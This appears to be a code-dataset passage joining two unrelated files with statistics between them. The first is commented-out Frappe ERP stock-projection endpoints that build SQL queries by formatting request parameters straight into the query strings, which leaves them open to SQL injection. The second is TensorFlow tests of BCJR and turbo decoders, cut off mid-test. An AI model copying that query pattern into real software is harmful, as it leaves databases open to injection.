# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# @frappe.whitelist()
# def projected_stock_by_colour(item_code, colour):
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# uom = frappe.get_doc("Item",item_code).stock_uom
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# # repack
# @frappe.whitelist()
# def projected_stock_by_item_repack(item_code, colour, yard_atau_meter_per_roll):
# uom = frappe.get_doc("Item",item_code).stock_uom
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter_per_roll` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# AND di.`yard_atau_meter_per_roll` = "{}"
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# @frappe.whitelist()
# def projected_stock_by_colour_repack(item_code, colour, yard_atau_meter_per_roll):
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# uom = frappe.get_doc("Item",item_code).stock_uom
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter_per_roll` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# AND di.`yard_atau_meter_per_roll` = "{}"
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# @frappe.whitelist()
# def projected_stock_by_yard_repack(item_code, colour, yard_atau_meter_per_roll):
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# uom = frappe.get_doc("Item",item_code).stock_uom
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter_per_roll` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# AND di.`yard_atau_meter_per_roll` = "{}"
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# # group tool
# # repack
# @frappe.whitelist()
# def projected_stock_by_item_group_tool(item_code, colour, yard_atau_meter_per_roll):
# uom = frappe.get_doc("Item",item_code).stock_uom
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter_per_roll` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# AND di.`yard_atau_meter_per_roll` = "{}"
# AND di.`group` is null
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# @frappe.whitelist()
# def projected_stock_by_colour_group_tool(item_code, colour, yard_atau_meter_per_roll):
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# uom = frappe.get_doc("Item",item_code).stock_uom
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter_per_roll` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# AND di.`yard_atau_meter_per_roll` = "{}"
# AND di.`group` is null
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data
# @frappe.whitelist()
# def projected_stock_by_yard_group_tool(item_code, colour, yard_atau_meter_per_roll):
# qty_pending_order = 0
# qty_terkirim = 0
# qty_dialokasi = 0
# qty_inventory = 0
# uom = frappe.get_doc("Item",item_code).stock_uom
# get_qty_pending_order = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabPending Order` po
# JOIN `tabPending Order Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour))
# get_qty_terkirim = frappe.db.sql("""
# SELECT
# SUM(por.`roll_qty`)
# FROM `tabPacking List Delivery` po
# JOIN `tabPacking List Delivery Data` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter_per_roll` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_dialokasi = frappe.db.sql("""
# SELECT
# SUM(por.`qty_sisa`)
# FROM `tabOrder Processing` po
# JOIN `tabOrder Processing Summary Roll` por
# ON po.`name` = por.`parent`
# WHERE po.`docstatus` < 2
# AND por.`docstatus` < 2
# AND por.`item_code_roll` = "{}"
# AND por.`colour` = "{}"
# AND por.`yard_atau_meter` = "{}"
# GROUP BY por.`item_code_roll`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# get_qty_inventory = frappe.db.sql("""
# SELECT
# SUM(di.`total_roll`)
# FROM `tabData Inventory` di
# WHERE di.`item_code_variant` = "{}"
# AND di.`colour` = "{}"
# AND di.`yard_atau_meter_per_roll` = "{}"
# AND di.`group` is null
# GROUP BY di.`item_code_variant`
# """.format(item_code, colour, yard_atau_meter_per_roll))
# if get_qty_pending_order :
# qty_pending_order = float(get_qty_pending_order[0][0])
# else :
# qty_pending_order = 0
# if get_qty_terkirim :
# qty_terkirim = float(get_qty_terkirim[0][0])
# else :
# qty_terkirim = 0
# if get_qty_dialokasi :
# qty_dialokasi = float(get_qty_dialokasi[0][0])
# else :
# qty_dialokasi = 0
# if get_qty_inventory :
# qty_inventory = float(get_qty_inventory[0][0])
# else :
# qty_inventory = 0
# send_data = []
# if qty_terkirim == 0 :
# temp_qty_terkirim = 0
# else :
# temp_qty_terkirim = qty_terkirim
# if qty_dialokasi == 0 :
# temp_qty_dialokasi = 0
# else :
# temp_qty_dialokasi = qty_dialokasi - temp_qty_terkirim
# if qty_pending_order == 0 :
# temp_qty_pending_order = 0
# else :
# temp_qty_pending_order = qty_pending_order - temp_qty_dialokasi
# if qty_inventory == 0 :
# temp_qty_inventory = 0
# else :
# temp_qty_inventory = qty_inventory - temp_qty_dialokasi
# send_data.append(str(temp_qty_pending_order))
# send_data.append(str(temp_qty_dialokasi))
# send_data.append(str(temp_qty_terkirim))
# send_data.append(str(temp_qty_inventory))
# return send_data | 26.341106 | 131 | 0.619354 | 5,336 | 39,538 | 4.288043 | 0.038418 | 0.043748 | 0.071457 | 0.041956 | 0.903676 | 0.901796 | 0.894978 | 0.885669 | 0.869236 | 0.863424 | 0 | 0.013318 | 0.23466 | 39,538 | 1,501 | 132 | 26.341106 | 0.742829 | 0.84592 | 0 | 0.072727 | 0 | 0 | 0.088427 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.036364 | false | 0.018182 | 0.090909 | 0 | 0.145455 | 0.036364 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ac0e051471dc02219571badc648ff1e8e6e395d4 | 22,226 | py | Python | turbo-codes/tests/channelcoding/test_bcjr.py | tripods-xai/isit-2022 | 024a0ccb59f7d4b2c9e88ef96d4a9c57712d6dfd | [
"MIT"
] | 1 | 2022-02-23T14:59:14.000Z | 2022-02-23T14:59:14.000Z | turbo-codes/tests/channelcoding/test_bcjr.py | tripods-xai/isit-2022 | 024a0ccb59f7d4b2c9e88ef96d4a9c57712d6dfd | [
"MIT"
] | null | null | null | turbo-codes/tests/channelcoding/test_bcjr.py | tripods-xai/isit-2022 | 024a0ccb59f7d4b2c9e88ef96d4a9c57712d6dfd | [
"MIT"
] | null | null | null | import tensorflow as tf
from src.channelcoding.channels import AWGN
import numpy as np
from numpy.testing import assert_array_almost_equal
import commpy.channelcoding as cc
from src.channelcoding.codes import IdentityCode
from src.channelcoding.encoders import AffineConvolutionalCode
from src.channelcoding.bcjr import BCJRDecoder, HazzysTurboDecoder, PriorInjector, TurboDecoder
from src.channelcoding.interleavers import PermuteInterleaver
from tests.channelcoding.utils import interleaver_to_commpy, vturbo_decode, vhazzys_turbo_decode
from .. import modified_convcode as mcc
from .. import modified_turbo as mt
def test_compare_tf_map_decode_to_commpy_map_decode_no_noise():
gen = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias = tf.constant([0, 0])
code = AffineConvolutionalCode(gen, bias)
sigma = 1.
channel = IdentityCode() * 2. - 1.
prior = PriorInjector()
decoder = prior.and_then(BCJRDecoder(code.trellis, AWGN(sigma), use_max=False))
encoder_channel = code.and_then(channel)
# Two messages of time 20 and 1 channel
input_bits = tf.random.uniform((2, 20, 1), maxval=2, dtype=tf.int32)
received_msg = encoder_channel(input_bits)
tf_confidence = decoder(received_msg)
commpy_trellis = cc.Trellis(np.array([2]), np.array([[7, 5]]))
commpy_received = 2. * np.stack([
cc.conv_encode(input_bits.numpy()[0, :, 0], commpy_trellis, termination='cont').reshape(20, 2),
cc.conv_encode(input_bits.numpy()[1, :, 0], commpy_trellis, termination='cont').reshape(20, 2)],
axis=0) - 1.
np_received = received_msg.numpy()
assert_array_almost_equal(np_received, commpy_received)
L_int = np.zeros(input_bits.shape[1])
L = np.stack([
cc.map_decode(np_received[0, :, 0], np_received[0, :, 1], commpy_trellis, sigma ** 2, L_int, mode='compute')[0],
cc.map_decode(np_received[1, :, 0], np_received[1, :, 1], commpy_trellis, sigma ** 2, L_int, mode='compute')[0]
], axis=0)[:, :, None]
assert_array_almost_equal(L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_map_decode_to_commpy_map_decode_with_noise():
gen = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias = tf.constant([0, 0])
code = AffineConvolutionalCode(gen, bias)
sigma = 1.
channel = AWGN(sigma)
prior = PriorInjector()
decoder = prior.and_then(BCJRDecoder(code.trellis, AWGN(sigma), use_max=False))
encoder_channel = code.and_then(channel)
# Two messages of time 20 and 1 channel
input_bits = tf.random.uniform((2, 20, 1), maxval=2, dtype=tf.int32)
received_msg = encoder_channel(input_bits)
tf_confidence = decoder(received_msg)
commpy_trellis = cc.Trellis(np.array([2]), np.array([[7, 5]]))
np_received = received_msg.numpy()
L_int = np.zeros(input_bits.shape[1])
L = np.stack([
cc.map_decode(np_received[0, :, 0], np_received[0, :, 1], commpy_trellis, sigma ** 2, L_int, mode='compute')[0],
cc.map_decode(np_received[1, :, 0], np_received[1, :, 1], commpy_trellis, sigma ** 2, L_int, mode='compute')[0]
], axis=0)[:, :, None]
assert_array_almost_equal(L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_map_decode_to_commpy_map_decode_no_noise_nonzero_L_int():
gen = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias = tf.constant([0, 0])
code = AffineConvolutionalCode(gen, bias)
sigma = 1.
channel = IdentityCode() * 2. - 1.
encoder_channel = code.and_then(channel)
# Two messages of time 20 and 1 channel
input_bits = tf.random.uniform((2, 20, 1), maxval=2, dtype=tf.int32)
received_msg = encoder_channel(input_bits)
L_int = tf.random.normal(input_bits.shape)[:, :, 0]
prior = PriorInjector(L_int)
decoder = prior.and_then(BCJRDecoder(code.trellis, AWGN(sigma), use_max=False))
tf_confidence = decoder(received_msg)
commpy_trellis = cc.Trellis(np.array([2]), np.array([[7, 5]]))
np_received = received_msg.numpy()
np_L_int = L_int.numpy()
L = np.stack([
cc.map_decode(np_received[0, :, 0], np_received[0, :, 1], commpy_trellis, sigma ** 2, np_L_int[0], mode='compute')[0],
cc.map_decode(np_received[1, :, 0], np_received[1, :, 1], commpy_trellis, sigma ** 2, np_L_int[1], mode='compute')[0]
], axis=0)[:, :, None]
assert_array_almost_equal(L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_map_decode_to_commpy_map_decode_with_noise_nonzero_L_int():
gen = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias = tf.constant([0, 0])
code = AffineConvolutionalCode(gen, bias)
sigma = 1.
channel = AWGN(sigma)
encoder_channel = code.and_then(channel)
# Two messages of time 20 and 1 channel
input_bits = tf.random.uniform((2, 20, 1), maxval=2, dtype=tf.int32)
received_msg = encoder_channel(input_bits)
L_int = tf.random.normal(input_bits.shape)[:, :, 0]
prior = PriorInjector(L_int)
decoder = prior.and_then(BCJRDecoder(code.trellis, AWGN(sigma), use_max=False))
tf_confidence = decoder(received_msg)
commpy_trellis = cc.Trellis(np.array([2]), np.array([[7, 5]]))
np_received = received_msg.numpy()
np_L_int = L_int.numpy()
L = np.stack([
cc.map_decode(np_received[0, :, 0], np_received[0, :, 1], commpy_trellis, sigma ** 2, np_L_int[0], mode='compute')[0],
cc.map_decode(np_received[1, :, 0], np_received[1, :, 1], commpy_trellis, sigma ** 2, np_L_int[1], mode='compute')[0]
], axis=0)[:, :, None]
assert_array_almost_equal(L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_turbo_decode_to_commpy_turbo_decode_without_noise_one_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = IdentityCode() * 2. - 1.
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 1
decoder = TurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
